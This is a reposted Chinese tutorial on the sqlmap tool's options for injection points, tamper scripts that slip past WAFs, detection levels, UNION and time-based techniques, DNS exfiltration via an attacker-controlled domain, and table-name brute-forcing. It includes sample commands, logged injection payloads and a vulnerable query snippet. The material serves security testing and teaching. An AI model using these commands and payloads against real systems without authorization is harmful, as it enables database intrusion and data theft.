安全測試===sqlmap(壹)轉載
六、優化
這些參數可以優化Sqlmap的性能。
1.一鍵優化
參數:-o
添加此參數相當於同時添加下列三個優化參數:
- --keep-alive
- --null-connection
- --threads=3 (如果沒有設置一個更好的值)
這些參數具體含義見後文。
2.HTTP長連接
參數:--keep-alive
該參數讓Sqlmap使用HTTP長連接。該參數與“--proxy”矛盾。
3.HTTP空連接
參數:--null-connection
有一種特殊的HTTP請求類型可以直接獲得HTTP響應的大小而不用獲得HTTP響應體。顯然這在布爾型盲註中可以節約很大的帶寬。當然這一技術是需要服務器端支持的。該參數與“--text-only”矛盾。
4.HTTP並發
參數:--threads
使用該參數指定Sqlmap可以達到的最大並發數。從性能和網站承受能力兩方面考慮最大並發數不要超過10。
七、註入
這些參數被用於指定要測試的參數、定制攻擊荷載和選擇篡改腳本。
1.要測試的註入點
參數:-p和--skip
默認情況下Sqlmap會測試所有GET參數和POST參數,當level大於等於2時會測試cookie參數,當level大於等於3時會測試User-Agent和Referer。實際上還可以手動指定一個以逗號分隔的、要測試的參數列表,該列表中的參數不受level限制。這就是“-p”的作用。
舉個例子,若想只測試GET參數“id”和User-Agent,則可以這麽寫:
-p "id,user-agent"
如果不想測試某一參數則可以使用“--skip”。如設置了level為5但不想測試User-Agent和Referer,則可以這麽寫:
--level=5 --skip="user-agent,referer"
有時會遇到偽靜態網頁。動態網頁會明目張膽地列出參數,如:
/user.php?id=1
顯然參數是id,值為1。但若是偽靜態網頁則可能這樣寫:
/user/1/
將參數隱藏在URL中。通常情況下Sqlmap不會對這樣的偽靜態網頁的參數做測試,因為Sqlmap無法判斷哪個是參數。若想要對這樣的偽靜態進行測試,只需要加上“*”,告訴Sqlmap哪個是偽靜態參數就行,剩下事的和GET參數沒有什麽區別。如:
python sqlmap.py -u "http(s)://target.cc/user/1*/"
2.指定數據庫管理系統
參數:--dbms
dbms是“Database Management System”的縮寫。默認情況下Sqlmap會自動檢測網站使用的數據庫管理系統,Sqlmap支持以下這些數據庫管理系統:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- Firebird
- SQLite
- Sybase
- SAP MaxDB
- DB2
如果Sqlmap自動檢測失敗或是不想讓Sqlmap進行數據庫指紋檢測,可以使用參數“--dbms”手動指定數據庫管理系統,如:“--dbms postgresql”。
對於Mysql和Microsoft SQL Server和要這樣指定:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
對於MySQL來說,是類似這樣的:5.0。對於Microsoft SQL Server來說,是類似這樣的:2005。
如果在添加“--dbms”參數的同時還添加了“--fingerprint”,Sqlmap只會在指定的數據庫管理系統內進行指紋識別。
只有在很確定時使用“--dbms”,否則還是讓Sqlmap自動檢測更好些。
3.指定運行數據庫管理系統的操作系統
參數:--os
默認情況下Sqlmap會自動檢測運行數據庫管理系統的操作系統,目前完全支持的操作系統有:
- Linux
- Windows
如果很確定可以使用參數“--os”指定運行數據庫管理系統的操作系統。當然在只用很確定時才應該使用此參數,否則還是讓Sqlmap自動檢測更好些。
4.生成無效參數值時強制使用大數
參數:--invalid-bignum
有時在註入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作為無效參數。但若添加“--invalid-bignum”,Sqlmap就會取大數(如:id=99999999)作為無效參數。
5.生成無效參數值時強制使用邏輯操作符
參數:--invalid-logical
有時在註入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作為無效參數。但若添加“--invalid-logical”,Sqlmap就會使用邏輯操作符(如:id=13 AND 18=19)作為無效參數。
6.生成無效參數值時強制使用字符串
參數:--invalid-string
有時在註入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作為無效參數。但若添加“--invalid-logical”,Sqlmap就會使用字符串(如:id=akewmc)作為無效參數。
7.關閉payload轉換
參數:--no-cast
在檢索結果時Sqlmap會將所有輸入轉換為字符串類型,若遇到空值(NULL)則將其替換為空白字符。 這樣做是為了防止如連接空值和字符串之類的任何錯誤發生並可以簡化數據檢索過程。 但是有報告顯示在老版本的Mysql中這樣做會導致數據檢索出現問題,因此添加了“--no-cast”來告訴Sqlmap不要這樣做。
8.關閉字符串編碼
參數:--no-escape
有時Sqlmap會使用用單引號括起來的字符串值作為payload,如“SELECT ‘foobar‘”,默認地這些值會被編碼,如上例將被編碼為: “SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。這樣做既可以混淆視聽讓人一時難以洞察payload的內容又可以在後臺服務器使用類似magic_quote或mysql_real_escape_string這樣的轉義函數的情況下字符串不受影響。當然在某些情況下需要關閉字符串編碼,如為了縮減payload長度,用戶可以使用“--no-escape”來關閉字符串編碼。
9.定制payload
參數:--prefix和--suffix
有時只有在payload後添加用戶指定的後綴才能註入成功。另一種場景是用戶已經知道查詢語句怎麽寫的,此時可以直接指定payload的前綴和後綴來完成檢測和註入。
一個有漏洞的源碼示例如下:
query = "SELECT * FROM users WHERE id=(‘" . $\_GET[‘id‘] . "‘) LIMIT 0, 1";
對這樣的例子可以讓Sqlmap自動檢測邊界範圍也可以手動指出邊界範圍:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "‘)" --suffix "AND (‘abc‘=‘abc"
最終SQL語句會變成:
SELECT * FROM users WHERE id=(‘1‘) <PAYLOAD> AND (‘abc‘=‘abc‘) LIMIT 0, 1
這個句子語法是正確的,payloa也能執行。
在簡單的測試環境下Sqlmap不需要被提供定制的邊界範圍就能夠自動檢測並完成註入,但在真實世界中某些應用可能會很復雜如嵌套JOIN查詢,此時就需要為Sqlmap指明邊界範圍。
10.修改註入數據
參數:--tamper
除了用CHAR()編碼字符串外Sqlmap沒有對payload進行任何混淆。 該參數用於對payload進行混淆以繞過IPS或WAF。 該參數後跟一個tamper腳本的名字。 若該tamper腳本位於sqlmap的安裝目錄的tamper/目錄中,就可以省略路徑和後綴名,只寫文件名。 多個tamper腳本之間用空格隔開。
在tamper/目錄中有許多可用的tamper腳本。tamper腳本的作用是對payload進行混淆。 我們還可以自己寫tamper腳本,這屬於Sqlmap的高級用法,一個有效的tamper腳本如下所示:
# 必須要導入的庫
from lib.core.enums import PRIORITY
# 定義該tamper腳本的優先級
__priority__ = PRIORITY.NORMAL
def tamper(payload):
‘‘‘此處是tamper的說明‘‘‘
retVal = payload
# 此處是用於修改payload的代碼
# 返回修改後的payload
return retVal
下面是一個示例,該示例的目標是Mysql,假定大於號、空格和開頭的SELECT是被禁止的:
python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
該示例部分輸出如下:
[12:55:52] [DEBUG] cleaning up configuration parameters
[12:55:52] [INFO] loading tamper script ‘between‘
[12:55:52] [INFO] loading tamper script ‘randomcase‘
[12:55:52] [INFO] loading tamper script ‘space2comment‘
[...]
[12:55:53] [INFO] testing for SQL injection on GET parameter ‘id‘
[12:55:53] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause‘
[12:55:53] [PAYLOAD] 1
[12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
[12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
[12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
[12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
[12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa
[12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[12:55:53] [PAYLOAD] 1‘)/**/anD/**/1694=6061/**/anD/**/(‘zLwu‘=‘zLwu
[12:55:53] [PAYLOAD] 1‘)/**/ANd/**/4962=4962/**/ANd/**/(‘Dsfw‘=‘Dsfw
[12:55:53] [PAYLOAD] 1‘/**/aND/**/6307=8901/**/aND/**/‘fKLn‘=‘fKLn
[12:55:53] [PAYLOAD] 1‘/**/aNd/**/4962=4962/**/aNd/**/‘YFsp‘=‘YFsp
[12:55:53] [PAYLOAD] 1%‘/**/anD/**/3549=6854/**/anD/**/‘%‘=‘
[12:55:53] [PAYLOAD] 1%‘/**/aND/**/4962=4962/**/aND/**/‘%‘=‘
[...]
[12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
[12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
[...]
而若不加tamper腳本,上例的部分輸出為:
[...]
[13:00:12] [INFO] testing for SQL injection on GET parameter ‘id‘
[13:00:12] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause‘
[13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
[13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
[13:00:12] [PAYLOAD] 1 AND 7140=6136
[13:00:12] [PAYLOAD] 1 AND 6711=6711
[13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
[13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
[13:00:12] [PAYLOAD] 1‘) AND 6904=7395 AND (‘xBlu‘=‘xBlu
[13:00:12] [PAYLOAD] 1‘) AND 6711=6711 AND (‘RgoX‘=‘RgoX
[13:00:12] [PAYLOAD] 1‘ AND 6469=7302 AND ‘maCj‘=‘maCj
[13:00:12] [PAYLOAD] 1‘ AND 6711=6711 AND ‘pSYg‘=‘pSYg
[13:00:12] [PAYLOAD] 1%‘ AND 7516=3605 AND ‘%‘=‘
[13:00:12] [PAYLOAD] 1%‘ AND 6711=6711 AND ‘%‘=‘
[...]
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]
八、檢測
1.檢測級別
參數:--level
此參數用於指定檢測級別,有1~5共5級。默認為1,表示做最少的檢測,相應的,5級表示做最多的檢測。 Sqlmap使用的payload保存在目錄xml/payloads/中,是xml格式的,可以自己定制。節選一個payload如下所示:
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
<comment>[GENERIC_SQL_COMMENT]</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
在上例中可以看到有level標簽,其值為2,該payload在檢測級別大於等於2時被使用。 risk標簽的含義見後文。
檢測級別不僅會影響payload的使用,還會影響註入點的檢測,GET和POST參數是一直會被檢測的, 檢測級別大於等於2時會檢測cookie是否有註入,檢測級別大於等於3時會檢測User-Agent和Referer是否有註入。
若不是很清楚註入點在哪裏可以設置一個比較高的檢測級別。
強烈建議在向Sqlmap官方報告一個明確存在的註入漏洞檢測不出來前先把檢測級別調高試試。
2.風險等級
參數:--risk
此參數用於指定風險等級,有1~4共4級。默認風險等級為1,此等級在大多數情況下對測試目標無害。 風險等級2添加了基於時間的註入測試,等級3添加了OR測試。
若註入點是在UPDATE語句中,使用OR測試可能會修改整個表的數據,這顯然不是攻擊者想要看到的。 因此用戶需要能控制風險等級避開有潛在風險的payload。
3.頁面對比
參數:--string、--not-string、--regexp
默認情況下在布爾型註入中Sqlmap通過比較返回頁面內容來判斷True或False。 但有時頁面每次刷新都會不同,如頁面中有動態廣告。Sqlmap會盡力判斷出頁面中動態的部分來,但並不總能成功。 用戶可以用參數“--string”指出代表True的頁面會包含而代表False的頁面不會包含的字符串以供Sqlmap判斷True或False, 若這樣的字符串是變動的還可以用參數“--regexp”指定一個正則表達式去匹配這樣的字符串。 或者用參數“--not-string”指出代表False的頁面會包含而代表True的頁面不會包含的字符串。
參數:--code
或者更簡單地,若是用戶知道代表True的頁面HTTP狀態碼為200而代表False的頁面HTTP狀態碼不為200比如是401, 可以用“--code”參數告訴告訴Sqlmap這一信息,如“--code=200”。
參數:--titles
若是用戶知道代表True的頁面title和代表False的頁面title不同, 如代表True的頁面title為“Welcome”,代表False的頁面title為“Forbidden”, 就可以使用參數“--titles”讓Sqlmap依據title來判斷True或False。
參數:--text-only
若是HTTP響應體中有許多諸如JavaScript之類的活動內容,可以使用參數“--text-only”讓Sqlmap只專註於純文本內容。
九、註入技術
這些參數用於對特定的SQL註入技術進行調整。
1.檢測時所用技術
參數:--technique
此參數用於指定檢測註入時所用技術。默認情況下Sqlmap會使用自己支持的全部技術進行檢測。 此參數後跟表示檢測技術的大寫字母,其值為B、E、U、S、T或Q,含義如下:
- B:Boolean-based blind(布爾型註入)
- E:Error-based(報錯型註入)
- U:Union query-based(可聯合查詢註入)
- S:Stacked queries(可多語句查詢註入)
- T:Time-based blind(基於時間延遲註入)
- Q:Inline queries(嵌套查詢註入)
可以用“--technique ES”來指定使用兩種檢測技術。“--technique BEUSTQ”與默認情況等效。
想要訪問文件系統或是Windows的註冊表就一定要添加“S”進行多語句查詢註入測試。
2.基於時間延遲註入中延時設置
參數:--time-sec
用此參數設置基於時間延遲註入中延時時長,默認為5秒。
3.聯合查詢註入中列數設置
參數:--union-cols
在進行聯合查詢註入時,Sqlmap會自動檢測列數,範圍是1到10。當level值較高時列數檢測範圍的上限會擴大到50。
可以用此參數指定列數檢測範圍,如“--union-cols 12-16”就會讓Sqlmap的列數檢測範圍變成12到16。
4.聯合查詢註入中字符設置
參數:--union-char
默認情況下Sqlmap進行聯合查詢註入時使用空字符(NULL)。但當level值較高時Sqlmap會生成隨機數用於聯合查詢註入。 因為有時使用空字符註入會失敗而使用隨機數會成功。
使用此參數可以指定聯合查詢註入中使用的字符,如:“--union-char 123”。
“聯合查詢註入中使用的字符”究竟是什麽意思呢?請看下面兩個例子:
第一個例子,不使用“--union-char”,默認情況下聯合查詢註入中使用的字符為空字符(NULL):
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3
部分輸出為:
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD
第一個例子,使用“--union-char 123”,指定聯合查詢註入中使用的字符為“123”:
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123
部分輸出為:
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb
仔細觀察上示兩例的輸出就能明白“聯合查詢註入中使用的字符”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。
5.聯合查詢註入中表名設置
參數:--union-from
有些情況下在聯合查詢中必須指定一個有效和可訪問的表名,否則聯合查詢會執行失敗,如在微軟的Access中。 (也就是說,某些DBMS不支持“SELECT 1,2;”這樣的語句,SELECT必須有FROM。) 用此參數指定這個表名,如:“--union-from=users”。
6.DNS泄露攻擊
參數:--dns-domain
SQL註入中的DNS泄露攻擊詳情見論文《Data Retrieval over DNS in SQL Injection Attacks》。
假設攻擊者控制著某域名(例如:attacker.com)的域名解析服務器,即查詢該域名的子域名對應的IP地址都會到這臺域名解析服務器來查詢。 這時攻擊者就可以使用“--dns-domain attacker.com”來進行DNS泄露攻擊。
實際上若是攻擊者沒有控制任何一臺域名解析服務器,那麽她可以註冊一個新域名,再自己搭建一臺域名解析服務器用於接受數據。
7.二階註入攻擊
參數:--second-order
有時註入結果顯示在別的頁面,此時需要用此參數指明顯示註入結果的頁面,該參數後跟一個URL。
十、指紋
默認地Sqlmap會自動對註入目標進行數據庫管理系統指紋識別。
參數:-f或--fingerprint
若想執行更廣泛的數據庫管理系統指紋識別可以添加此參數。
參數:-b或--banner
若想得到更精確的指紋識別結果可以添加此參數,詳情見後文。
十一、暴力破解
1.暴力破解表名
參數:--common-tables
有些情況下用“--tables”不能列出數據庫中表名來,如:
- 版本小於5.0的MySQL沒有information_schema表
- 微軟Access的MSysObjects表默認不可讀
- 數據庫用戶權限過低無法讀取表名
當無法讀出表名時可以使用參數“--common-tables”暴力破解表名, 該參數使用的字典是txt/common-tables.txt,其中存儲了常見表名,可以手動編輯該文件。
2.暴力破解列名
參數:--common-columns
有些情況下用“--columns”不能列出數據表中列名來,如:
- 版本小於5.0的MySQL沒有information_schema表
- 微軟Access的MSysObjects表默認不可讀
- 數據庫用戶權限過低無法讀取列名
當無法讀出列名時可以使用參數“--common-columns”暴力破解列名, 該參數使用的字典是txt/common-columns.txt,其中存儲了常見列名,可以手動編輯該文件
安全測試===sqlmap(壹)轉載